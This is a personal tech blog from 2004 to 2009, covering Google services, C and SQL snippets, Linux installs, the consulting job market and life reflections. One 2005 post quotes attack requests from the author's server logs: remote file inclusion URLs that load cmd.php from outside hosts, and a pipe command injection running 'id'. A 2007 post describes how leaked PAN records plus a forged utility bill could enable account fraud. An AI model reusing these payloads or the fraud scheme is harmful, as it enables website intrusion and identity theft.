aKs's Blog

Google News crapping out on spidering errored news hits

2009-03-15T14:04:00.005-04:00

Can Google News spider get some more intelligent on figuring out whether it is seeing an error or a valid news item ? I have seen this happening a couple of times in past .. and knowing that one of either the content or the heading is wrong (but not both) makes it a bit more interesting..

May be building some intelligence in the news bot (or) main Google News page generator to make semantics and commonality checks to prove associativity of the headline and the summary contents would solve this simple issue.

This issue brings an important aspect of testing to light for any service oriented application. Here, certainly, news (FOX) site being the service provider and the Google News bot being the service consumer, which are loosely connected.

What does this piece of code mean ?

2007-09-04T13:35:00.000-04:00

if ( strlen( tmp ) )tmp[strlen( tmp )-1]='\0';
if ( strlen(SyndSectList ) )SyndSectList[strlen( SyndSectList )-1]='\0';

Unit testing gaining momentum

2007-08-03T15:46:00.000-04:00

Looks like finally unit testing is getting big among C programmers/enterprises. It has been sometime when unit testing started gaining in general software development, but mostly among object oriented languages which provide better mechanismms for unit testing... finally we are on similar path even for procedural language, which tend to be a bit difficult than their OOL counterpart.

There are many unit testing packages for C and I have been involved with one .. ie 'CUnit' [http://cunit.sourceforge.net/]. Most of the people that i usually get queries from are from embedded space. I would be happy to see that audience diversified to other areas like systems programming and kernel programming.

Intersting SQL Query

2007-03-02T12:02:00.001-05:00

SELECT @unique_key = (SELECT keyvalue FROM XXXXXXX)

Well, Any person with basic SQL knowledge would be able to say what it means, but would also be annoyed to know that this type of the queries are quite common and very easily visible in some of the SQL code in many financial production systems.

Are you surprised at what you see ? Well, if your are planning to move from west to east coast, and are being put into some existing system, be ready to see this type of code.. This is just a sample and be ready for any thing which is of similar quality and worse than this for other languages too.

Having worked in some of the big financial firms, this is not very surprising, and quite frustating to work on any of these older systems, specially when people sitting on those products are not willing to either enhance the product quality or even share the information about the product functionality. I am involved in one such mess, although first in financial world.

Let's see how far can I sail through this mess, and make some improvements to the system or refactor or create new systems for replacing existing systems.

Wish Me Luck!!!

Who is American ?

2007-02-26T09:32:00.001-05:00

Is there a genre born called 'American' or is it people who live in America.... as the essay http://www.commondreams.org/views05/0720-24.htm says, americans are born everyday , everywhere in the world. That is absolute true, this country has a great history of immigration, with people all around the world coming here with a few common dreams.. I would co-relate it to some form of Dream Patterns, that are shared by a lot of us. And most common of the dream pattern being "Earning Good Money", "Having/Living a Higher/Better Quality Life" or having a professionally better work (Which nowadays doesn't seem to be very true anymore....). I consider one of those who cam here for the third factor, however felt a lot disappointed on that factor.

However to be on the positive side, there are other things very good here, which I have tried adapting myself.. to some success. Every country has it's own history, culture and language. What does America offer us in these dimension ? It has a history, which has been created mainly by immigrants, first from Europe, and later from other parts of the world. It has a culture that is mix of many cultures.. and as such nothing like American Culture.. It's the corporate culture of this place, that is more prevalent even in people's lives. Language is again, as earlier two dimensions not original of this place, even language immigrated to this country along with Europeans.

Now having all this knowledge, I am sometimes agonized as to why people make (Specially ones on Radio Channels) fuss about non-english speaking people in public places....

There are Too Many or No matches for this criteria

2007-02-21T15:00:00.000-05:00

"There are Too Many or No matches for this criteria", what does someone understand by this type of ambigous error message.... It's an open ended message, without pin-pointing one side of the boundary.

Some would argue, that it does convey that the result is not in a valid range... but naive person like me cannot make out, what the valid range is specifically, when I search say on an application by certain criteria/terms, and it comes back with this kind of error message, without any actual result or limits being displayed.

I'am not sure, whether I need to narrow my query or need to expand ?

Big security risk for Indian Tax Payer's Identification

2007-02-11T20:54:00.000-05:00

I was recently browsing the NSDL website for exploring options to get a PAN card, which I never received and thought of searching for what my online status was. Tried their search interface, which, to computer user would be quite amazing to know that you can search by combination of name/date of birth. And after entering my credentials... I got result for someone that was not me :))... with his PAN.

Wanna see if someone else with your name and DoB exists in PAN registry.. search for it, probably you'll hit someone other than yourself.. as did I.

Now, after having someone's PAN number and name and DoB.. how difficult would it be for me to open an account .. say a bank or DP trading account and do all sort of funny things... probably get involved with Money Laundering ?? All I need is my own one of utility bill, which in this age of internet I can scan and generate a fake one.. along with a fake photo-copy of PAN card.

I haven't included the search URL, however any average Joe would be able to figure that out from any helpful search engine.

I have already sent an email to the authorities about this, however I believe some guys out there may already have faced the same situation.. and some of them may be bad.. trying out all permutations....

Wake-up India..

Dead Google Notebook

2006-05-11T07:43:00.000-04:00

Got a "404 Document not found" error minutes after receiving google groups mail about rollout of Google Notebook from G-Labs. Is everyone experiencing similar problem?

Experience installing Fedora Core 4 Under Microsoft Virtual PC

2006-04-14T14:32:00.000-04:00

1. Create a virtual PC with good enough RAM allocation to word in linux
2. Create the virtual hard disk for the linux VPC
3. Start VPC from the MS VPC window
- Either start from downloaded ISO, or
- Boot from a bootable media
4. Read the key shortcuts before you start instalation else you may be lost some where in between the installation, unable to come out of the VPC window
5. And the fedora installation crashed at end of the package selection.....

6. Started new session in text mode installation, chose basic personal computer package setting... Started the image copy at 10:03 PM
7. Its 12:51 and package installation still stuck at 78%
8. And finally after 4 hour ordeal the basic instalation is done.. but yet to do is the WLAN setup on fedora
9. Add Soundblaster 16 or Pro Sound Card using sndconfig
10. Selected the NAT configuration
11. installed KDE Separately (Since it was failing from the control panel)
12. Trying to create separate private virtual network for the virtual PC's with diffrent subnet address using the Microsft Loopback Adapters
13. Windows firewall screws the whole system... for which i had to struglle for whole of the day.

Helpful links
http://www.computerbits.com/archive/2004/0600/virtuallinux.html
http://www.ondotnet.com/lpt/wlg/5747

Rajkumar buried with full state honours, five die in violence!!!

2006-04-13T13:54:00.000-04:00

Five died for what cause?? Cause of no-reversal!!! or cause of stupidity ?

Is Google Map - Print screwed ?

2006-04-10T11:52:00.000-04:00

For a past few days I have been noticing that the google maps does not print the maps properly in either of the print options, ie, from the Print on the map/page and, from Print of the FireFox Menu.

Earlier I used to get nicer maps on print, with complete route etc, but have lately been getting strange incomplete map images, which does not even show the complete route area. I'm not even thinking of highlighted/grayed route which used to be in the earlier prints.... It looks like WYSIWIG is no longer true for the Google Maps!!!

I have tried this on multiple systems with different settings... but this seems to be consistent, although wrong behaviuor.

Am I the only one getting this problem on FireFox .. Google seems to be supporting FireFox now???

Google Analytics

2005-12-04T21:57:00.000-05:00

Google Analytics as many of you may not be knowing, is the Website usage analysis Analytics interface provided. It has cool look and feel with very powerful functionality to track the web usage, and many more statistics attached to the website, which could be of use to improve the website sitemap/directions/contents, marketing analysis etc which is directly dependent on the website.

I have been runnig this on my personal website for over a month and this looks really impressive with the kind of statistics/details that it generates and represents the same in more easier to analyze graphical formats. It is a web analytics engine which is a must have for any webmaster. Currently they have stopped new subscription.. keep a tab on when it opens again at http://www.google.com/analytics . It would be handly tool for any webmaster to make cool decisions/repoprt to management. Also it could be used as central dashboard for an array of websites being maintained.

I never knew India was in Middle East, 'n', not in Asia-Pacific Region!!

2005-11-13T23:06:00.000-05:00

The book "Mapping Security" has classified India in the Middle-East/Africa region... I don't know whom should we blame for such a geo-political mistake, should it be the author or the proof-reader, or both of them? The classification is wrong politically as well as geographically. Probably the authors need to look at the globe before they make such classification. Apparantly the author belongs to Symantec (The Anti-Virus Company), and they have quite sizable development center located in Bangalore, India.

Dvorak Asks: Are Media Writers Biased Towards Apple?

2005-10-20T10:40:00.000-04:00

A nice article on why media writers are biased(+) towards Apple Mac.
http://www.realtechnews.com/posts/1983

Everytime I read a magazine or an online article about the computers, I tend to get the feel of superior Mac experience.. although, I do not find it to be any superior for a normal user. I agree that it is superior at deeper layers (kernel) for the latest Mac OS, but otherwise, windows seems to be better option with lot better support and application groups/community.

Should programmers be held responsible personally for the bugs?

2005-10-12T10:47:00.000-04:00

An interesting article on this subject..

http://news.zdnet.co.uk/software/developer/0,39020387,39228663,00.htm

and nearly bashing feedback can be found on the same on slashdot.net

Sardarji Jokes ~ No offences

2005-09-17T09:54:00.000-04:00

A few sardarji jokes... from fury123

1. Sardar proposed a Girl......
Girl said 'I'm 1yr elder to you'...........
Sardar said 'Oye No Problem Soniye,I'll marry you NEXT YEAR.

2. Sardar told his servant: Go and water the plants.
Servant: It"s already raining.
Sardar: So what take an umbrella and go.

3 Sardar-why r all these people running?
Man- This is a race, the winner will get the cup.
Sardar-If only the winner will get the cup, why r others running?

4. A man asked sardarji, why Manmohan singh goes walking at evening not in the morning.
Sardarji replied ''Arey bhai Manmohan is PM not AM''

Trip to chicago

2005-09-07T18:49:00.000-04:00

Went to Irfan's place in chicago for the labour day long weekend. The place is so beautiful... With pretty big and crowded downtown, which gives the feeling of New York and, open ans freshning sub-urbs and living places within city which is pretty good combination to stay in. Stayed there for 3 days.... As usual not much of outing. Went to a few places within the city. Now, this is the limit ... Of blogging from blackberry.

Back to Jersey

2005-08-27T15:00:00.000-04:00

Came back to New Jersey a few days back to start on new consulting project with Directory Engineering Team at Morgan Stanley, NYC. The kind of new and totwork ially different from what I have been doing earlier.. though it is quite challenging to work in the Identity Managementn space and a lot of new things are waiting to be learnt.. beyond simple directory management principles.

Interesting technology updates

2005-08-03T21:22:00.000-04:00

A few of the interesting features/updates that I noticed recently, some date back to 2 months or so. The technology world has been evolving so fast and the amount of changes that happen each day around us, is enormous. Keeping track of new/interesting features becomes quite difficult as the scope of interest widens.. that is what I could figure out in last few weeks.. If you have an alternate thouoght, let me know. A few cool sites I suggest to watch are,
- http://www.google.com/press/zeitgeist.html
- http://virtualearth.msn.com (Try the Aerial view with Labels). Some places like Seattle (Redmond) and Washington have aerial view of 20 yards resolution, which is much better than what yahoo/google provides. Again downside being the map boundaries are limited (Since it uses USGS data).
- http://earth.google.com/
- http://www.xml.com/pub/a/2005/02/09/xml-http-request.html (AJAX, the technology behind the interactive web... ie, gmail, gmaps, virtualearth etc.)

REST API

2005-07-31T13:51:00.000-04:00

I was going through some XML-RPC & SOAP WebServices stuff for PHP and saw yet another Web-based RPC standard called as REST (Representational State Transfer), which is pretty much simpler and with lower invocation overhead than the other two.. atleast for simpler services where the complexities of the SOAP is not needed. The REST model fits very well in basic web flow and is more represntational (hence the name REST) than the other two counterparts.

A few links that I found to be useful, and a few API's which are in its initial stages are as follows,
- http://www.ics.uci.edu/~taylor/documents/2002-REST-TOIT.pdf
- http://upcoming.org/services/api/

Although the REST concept started way back in 1994, it never got into mass market. That is interesting as well as surprising, as to how big companies can kill the simpler concepts for complex enterprise applications, which may not be indeed needed in most of the web applications.

Mixed code (Managed-Unmanaged) debugging issues under VS.NET

2005-07-18T16:40:00.000-04:00

A colleague of mine was working on some managed code (using VS.NET), and started having problems in debug info. display window while debugging for struct/classes (being used as data holders with just the data member variables defined). So I started tinkering around the code he was having problem with and finally came-up with following test code, which simulates problem pretty well, with hack also included in it.

The following code, when compiled and debugged as managed code, with debugging option set to (Mixed or Auto under ProjectProperties>>Debugging>>DebuggerType)

// This failure condition happens for both struct and class
class TestStruct {
public:
/*
// Solution 1: Uncomment this for the values to be shown in the debugger
TestStruct() {
}
*/

long Value;
};

__gc class TestGcClass {
public:
long Value;
};

int _tmain()
{
TestStruct* test = new TestStruct();
test->Value = 10;
/*
// Solution 2: Uncomment this code block for this to work in the debugger
TestStruct best;
best.Value = 20;
*/
TestGcClass* testGcClass = new TestGcClass();
testGcClass->Value = test->Value;
return 0;
}

Any one has idea on what is wrong in the code or VS.NET IDE??

Only thing I could suspect is, the compiler is not generating the default constructor until it sees that the object is being instantiated (It is ignoring the new statement I guess). Not sure on this.. need to check the assembly code being generated.

Solution to The Innovator's Dilemma

2005-06-17T12:38:00.000-04:00

I'm not sure if you have heard of book by name "The Innovator's Dilemma". It is a New York best seller and has a companion book by name "The Innovator's Solution" which is again New York best seller. Both are by the same author and they capture the essence of developing any new business. Although books are more of post-mortems of what happened to what company, but it provides fairly good view of why & what's of any business. Geared more towards technology, since it is one of the main competence in business nowadays.

Thought of going in the reverse direction. Although I have both the books, thought of going in reverse direction and see how that effects the thought process. Started reading "The Innovator's Solution" first.. and somewhere midway now. Let's see how I feel about reading the Dilemma series after seeing the solution... Time to read.

Florida Days

2005-05-31T10:06:00.000-04:00

Moved to florida on a consulting project and thought of sharing a few thoughts about the place/weather etc. The weather is pretty good during morning and evenings but gets too hot during the day-time (between sunrise and sunset). Presently working with Verizon for a new home network management services to be implemented in their systems. The team is small and is and working on prototype development.... Seems to be a lot of slack in the time/schedule.

The place/weather reminds me of Chennai and Mumbai... Weather is pretty warm and humid and may be good visit once a year but not to stay here... Mumbai bhai's would enjoy staying here.

Personal website of R.Kannan

2005-03-27T15:19:00.000-05:00

A nice elaborate introduction to various indian financial institutional structures and procedures.
Pretty impressive and learnable contents.

Personal website of R.Kannan

Looks like I am becoming a broker.

2005-03-21T14:41:00.000-05:00

Don't be shocked. Literally I mean what I wrote in the title, however its a broker-ism of different kind. I don't know how come these changes have started coming up in me.. Nowadays I think only in terms of percentages. Its true for each and every thing I do in day-to-day life.

If I do something for 1/2-1 hour I start worrying, hey I have wasted around 5% of my day and so on... However I have only one regret, that I do not get enough time to study books, Got a lot of stuff to read, a lot of books pending on my desk, hope the situation would change soon nd I would start getting time to read while travelling :).

A few favourite URL's passed to source display on my website

2005-02-28T15:54:00.000-05:00

Hey guys spare my web-hosting providers.. some of the URL's scanned on the system are,

- /sscripts/common/source.php?page=http://www.a511.com/fr/gr/config.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php?cmd=ls
- /cgi-bin/calendar.pl?configdir=|echo%20;echo%20;id;echo%20;echo|
- /sscripts/common/source.php?page=http://paginas.aol.com.br/linuxerlinuxer/cmd.txt?&cmd=id

and most of them originated from ukraine :)

Life as Book

2005-02-22T13:02:00.000-05:00

Thought of comparing life with various surrounding real world objects. Today I would start this series with a book,

A life book starts with "Birth" and ends with "Death". These two incidents are the markers which puts a definable boundary on the book. Life itself has Pre- & Post- history attached which are similar to "Reasons for new Book" & "Book Review/Appreciation" respectively.

Book Cover: Personal Outlook... useful specially for people getting in "Love at First Sight", most of the time good books come with non-fancy covers so does people in real life.

Book Publisher Info: Parents/family etc...

Book Preface: A brief about life.. What we think about life, how It should be... All talks about "My life is the MOST Ideal Life"

Table Of Contents: ... Something which is very idealistic organization, and one of the things that cannot be directly compared with anything in real-life .. Yes it is enhanced at each step in life, but is complete only at the end of life, for someone else to read :).

Chapters/Sections: Various remembered/written incidents/flow in the life. There would be good chapters, bad chapters, chapters which you would like to read again & again.. Chapters which you would never like to read.

Index: ... This is the second thing which is very idealistic to list right at the beginning.. that is why it is always at the end of the book I guess.. So even in life it happens to be complete only with the end of life.

A book is good only if it suits our requirements, it contains something which we love reading or which raises our adrenalin.... Similarly life is beautiful only if lived with the correct mixtures of chapters of different strength/taste. If all the incidents that happen are good, then how do we learn about the bad incidents and learn from that experience...

As all of us know everything cannot be learnt from books, those are the moments when life takes over the books. Although book teaches us most of the solutions, still it is theoretical.

Finding Jobs on dice.com seems to be pretty easy problem!!!! Try this one

2005-02-16T22:50:00.001-05:00

Searching consulting job on dice.com is no more a simple problem of searching by the keywords, Here's a sample job search problem, The following links specify the opening at "Intel.. Parsippany" for their MCPD division (HMP boards etc.), which is posted by 6 consulting companies with varied rates, and believe me non of them are the direct vendors..(because I got a mail from direct vendor's too) and variation in High-to-Low rates are as much as 50%. The problem is to find the best paying consultancy out of the listed ones and their levels of operations (No. of Layers involved for the given consultancy) to estimate the actual bill rate that flows out of "Intel Corporation"

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/d/b/dbd29b6c84e0738c781ecfccba3ef7d5@activejobs0&c=1&source=1

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/b/7/b78d2935cd91bc7f22d5da91c14f99e4@activejobs0&c=1&source=1

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/7/a/7a375cc990ce010c9a18bd774ed93dd6@activejobs0&c=1&source=1

http://seeker.dice.com/seeker.epl?op=5&type=16

http://seeker.dice.com/seeker.epl?op=5&type=16

If you read the job description, they have most of the things similar but in different fashion... One goes to the extent of changing the location name (which is really speaking the same place). Since the position is supposed to be closed by March 1, 2005, these links may remain active for may be another one week, Can someone find me the best consultancy to apply for??

As You Sow, So You Reap! What are the other factors involved?

2005-02-12T11:31:00.000-05:00

Is that really true? Is so, to what degree? There are so many questions that are left unanswered when we read about something.. Or even for each and every thing we do in our daily life. The things are unanswered because they need not be answered for us to progress with a few things and most of things in this world are relative except birth, death and, self-satisfaction.

There are external factors which affect (not effect) the system, nature has its own way of controlling others by means of Tsunami's etc.. That's true for almost every system that we see, our software projects don't (in-fact never) go according to what we plan, what are the causes there , most of the times, the schedules slip, are reasons good enough for that when people with say 10-15 years of development experience have been discussing about the whole plan for about 1-2 months. Do we ever question any director or project manager's capabilities when 6 month project plan schedule slips by say 2 months (that is basically slippage by 33% in terms of the time involved, and much more than 133% of the cost involved). How many times do we have the feedback loop to imbibe resolutions for the failure in the organization? Most of us always try to design/develop/plan for the best case scenarios, but those things don't always work in real world, else guys would not have come out with things like negative testing, (that the testing guys should focus more on breaking the system). Indeed of testing only for normal conditions, check more for the adverse conditions. The whole world is moving towards more autonomic, self-health checking & healing systems, but there too, we do always consider the adverse conditions and can never specify foolproof system. Phenomenon like stock market crash (which is more human controllable), or some natural disaster (which is not human controllable in all ways) are the external factors which always affect any healthy system working perfectly.

A person who wins, whether with good practices or bad practices are always sung /write history, whereas a good guy /team who looses are always written down as losers in the history, or rather they do not exists in the history any more.

Considering facts, according to study at MIT 99% of software product startups fail, does that mean that, 99% of people who start new enterprise, start with fluke or with predetermined will to fail. The problem being relativity, working hours are not the same everywhere, nor is success. So its not only how you sow, but also how you cultivate 'n' finally reap along with other external factors, like the environment... What I consider to be very important are Time, Place, Effort and Money.

Bosses: 10 tips for better e-mails

2005-02-11T13:48:00.000-05:00

Nice tips on writing email in general and to the bosses specifically. Most of the
tips holds true for the generic email usage too.

Bosses: 10 tips for better e-mails

State of US Staffing Market!!! Pathetic

2005-02-10T11:26:00.000-05:00

Here are a two of the cutouts from the jobsite www.dice.com, These are two stupid funny ones I could remember to paste here.... and If you are searching through that database everyday, you could come across many such, which shows the pathetic condition of the Technical Recruiters, either they lack Technical Knowledge (They shouldn'd be technical recruiters then) or they don't know how to write english (They shouldn't be recuiters in this domain) or they don't understand what they have written (Again they shouldn't be recruiters in this domain)...

This may be a bit harsh to comment but it's true, Its better to learn from Past (By which I mean the DotCom Market Crash) or else get ready for another one due to the lack of quality that would be delivered to the Services Segments (Mostly Financial).

Posting 1
----------------------------------------------
Title: C++ developer
Skills: C++ , Fixed Income, Cash Flow, Cash bonds

<<>>
**** PLEASE NOTE THAT ONLY C++ CANDIDATES WITH NO BANKING AND/OR FIXED INCOME EXPERIENCE WILL NOT BE CONSIDERED ****

Posting 2
----------------------------------------------
Title: C++ /Desktop Developer
Skills: C#/.net/desktop/ Unix , Linux or Windows/TCPIP/XML/Engineering

< # >>
Job description: A major NYC brokerage firm is looking for a high level C#/Desktop developer to work with their video conferencing area. The person hired will learn about video conferencing products (which is a major growth area). The company has recently rolled out this technology,now needs someone to program it to become user friendly on the desktops of people within the firm. The ideal candidate will be very strong in C#, MS desktop tools (specifically .net) and will have experience with either Linux , Unix , or Windows (specifically outlook programming and Pawn manipulation),TCPIP,XML and some engineering experience.
It is a huge plus to have video conferencing experience
------------------------------------

New year brings new opportunities, work and responsibilities

2005-01-01T18:40:00.000-05:00

Wish you all a very happy and prosperous new year.

Linux really has started creeping into the desktop market. With good dektops like JDS, Xandros, Linspire (aka Lindows), although not as user friendly as windows, competition among the linux desktop providers seems to be getting more bitter with everyday passing by. And almost at the same time the microsoft seems to be working hard on their next desktop windows "LongHorn Client" which is out in beta form for ong time.... I tried installing it once and had to spend almost whole day for it, resulting in hard experience that it would suck without atleast 512 MB of RAM :( .

It seems for the LDS (Linux Desktop Systems) to get better we would always need a microsoft to invent or re-search things and then LDS to re-invent the applications, although free :).

With almost upteen number of LDS coming up in the market, the market looks to be completed broken until the LDS providers start working on Statndards based interfaces etc... so that if we plpan to switch from one LDS to another, the amount of overhead is minimal. Linux is more about freedom in the right context and the right way. If we start getting a proprietary LDS with in-compatibilities with other LDS locking user into one particular LDS vendor, Is it something different than what Microsoft does?? Atleast windows has most of the applications coming from third party vendors and not Microsoft as opposed to the LDS systems, where momst of the applications are bundled with the OS in propreitary forms/optimized for those system.. so even for the applications they are locking us to the particular LDS vendor.

Had some time to check on a few Bootable ISO, Knoppix etc are great they provide amazingly great amount of utilities/feature set within hardly 3-5 minutes from boot process. I came across a linux bootable ISO distribution named "Dyne-Bolic" linux version 1.3. I tried running on top of my virtual PC with only 64 MB RAM and was amazed to see it getting fully loaded within a minute (yes I meant 1 Min., with 64MB RAM and within VPC) with WindowMaker. It also provides some cool feature like create current ISO, wherein you can create ISO outof the current snapshot of the system. it provides feature for Nesting to save state to the USB/Hard-disk. It had only single terminal (with multiple desktops within WindowMaker).

Linspire looks promising, however with its CNR dependeny I consider it to be much more worse option than Windows.. and over long period of time maintaining Linspire may not even be worth replacing Windows (atleast in corporate environment).

Design of the new site

2004-12-26T17:23:00.000-05:00

The design of the website was a major decision to take, which would require a bit of effort (precisely a few week-nights and complete week-ends). But then I was getting sick of the previous site contents/theme. From a developer’s point of view, what I had earlier here was quite raw one (and so is now). And then suddenly out of frustration I took the chance, installed Fedora Linux Core 1 on top of Microsoft Virtual PC, which would henceforth be used as my development server. Working on a FC1 running within VPC, un-believingly, with only 64 MB of RAM was real fun.

Can you believe FC1 rocking with heavy weights like apache, mysql, samba (and a few times KDE too). That was a nice experience to have in the present world. It’s like going back in the time by 6-7 years, when 64 MB used to a great thing. I still remember Tausif’s computer rocking with RHL 6.2, which was my first installation. I guess I am getting off-topic here. Well once the decision was made, to renovate the website By this time I had already got hands on developing other websites, however PHP was something new to me as a language, but it hardly took me any time to be there. The platform for development was all set, all the servers and the environment, including a few PHP editors being installed on Windows (which eventually I never used). My good old “vim” does pretty good job at what it is supposed to do.

The next major challenge was to come up with a website pattern/theme which would have better manageability and maintainability. Apart from this, the structuring of the data/content was important factor to design the layout.

Some times, rather most of the times, human beings tend to realize the value of what they posses, only after loosing it, So I consider myself to be “Normal Human Being”.

Using table seems to be binding the structure too much into the data so thought of using CSS features to get the similar functionality, at-least to get the block layouts in the page. Learnt a lot while playing around with CSS positioning/element layout. Finally arrived at the format that is currently being used, Using the components on the page, to be precise, the “header”, “sidebar” and, the “footer”. CSS gave me independence to change the sidebar/header/footer position anytime without touching the data in the main files, also it gives freedom to implement theme based systems, where-in the themes are contained in the CSS files rather than being embedded in the data file.

And at last… arranged all the contents and the utilities in the right place in the right format. That’s in brief of what all I did for designing this new layout website.

Well the modification/enhancements are still underway, considering adding the XML data elements and using XSL wherever possible to do so, like most of the static pages etc.

Would consider writing a complete article someday when I’m in comfortable position.

Finally something started working on the homepage

2004-12-25T02:51:00.000-05:00

It's christmas, and lots of lightings everywhere. This year it is no more "White Chrismas" in NJ. Although people in Texas are enjoying the christmas snow, we in NJ, are still waiting for the snow :).

All that said, finally got something working on the my website, right now its already too late for me to formulate a writing on what all were the design/change control challenges involved in getting the full site up and running with the modification and, where do I still feel, I have not pre-emptively thought about the changes, which have already started troubling me. I am a bit skeptica about making changes now, but yes I would take that step soon with a pinch of salt to feel that pain too, so that next time I do not make any such mistake.

That is not a nice way to learn I guess :). Anyway, Wish you all merry christmas and happy long weekend.

Busy with changes to the system

2004-12-23T21:23:00.000-05:00

I don't know how could I miss the "Injection Bug" while coding for the guest book module, someone made me realize it the harder way. Later on I have been working on a few modification/fixes, main among them being,

Wrote cron scripts for rebuilding the index file from the my weblog at blogspot, library modules for the same can be found at /lib/net/atom

Fixed the "Poisonous Injection"

Have been busy reading a few books late night, travelling, whenever I get time to do so (Probably thatz one of the reasons why I don't appear here very frequently).

Well, It's weekend time to finish-off the left overs'

2004-12-12T01:15:00.000-05:00

True, gotta finish this junk work of re-design this weekend with something on site in working condition :). Right now, writing a cron-script for fetching the feeds from blogspot and rebuiding the index on my homepage every night. Hope it runs and works for longer time... Would write on the re-design tommorrow as I celebrate Sunday (must be kidding :) ).

What, again into sleep mode?

2004-12-01T01:42:00.000-05:00

As usual went into short term hibernation getting busy with my work at office.... While the PHP on MySQL was troubling me (due to my own mis-doings), thought of taking a break.

Thought of installing Gentoo 2004.3, let see how it goes.. 2004.2 was quite painful process :) (atleast for a non-techie). Hope they improve on their installation system, of-course without loosing the performance edge over other distributions. Read that they are coming out with Live CD and GUI based installer in 2005.

New Additions

2004-11-24T01:39:00.000-05:00

Finished the view source script and also working on the "server side scripts" display script. The source for the current page can be viewed from the link provided at the bottom of the each page.
Modified the learnings page... right now in PHP scriplet itself, but would later move the contents to the XML and use the runtime transformations to produce the output. Planning to use GuideXML (would be learning too), suggest me if you know of something better.

Changes in the site

2004-11-20T01:35:00.000-05:00

I have been working on the changes for a few hours now and thought of sharing a few of the ideas with you all. The changes that I am making are as follows,

Change the UI for the site.
Migrate the server scripts from PERL to PHP
Enhance/Modify the contents
Reorganization of the contents on the system
Implementing weblog on the system (but I still feel this blog option is much better.., so I'll go with this until I find some free time to do something on my own and import this blog there)

The world is all about change honey!!!

2004-11-18T01:29:00.000-05:00

Yes, I meant the same, the world is all about change and the only thing that is unchangeable in the world is change. So I finally thought of changing organization of this site too. Life seems to stink until there is a change that would keep us on heels...... that's a long one I guess. I better get to working on the rewriting.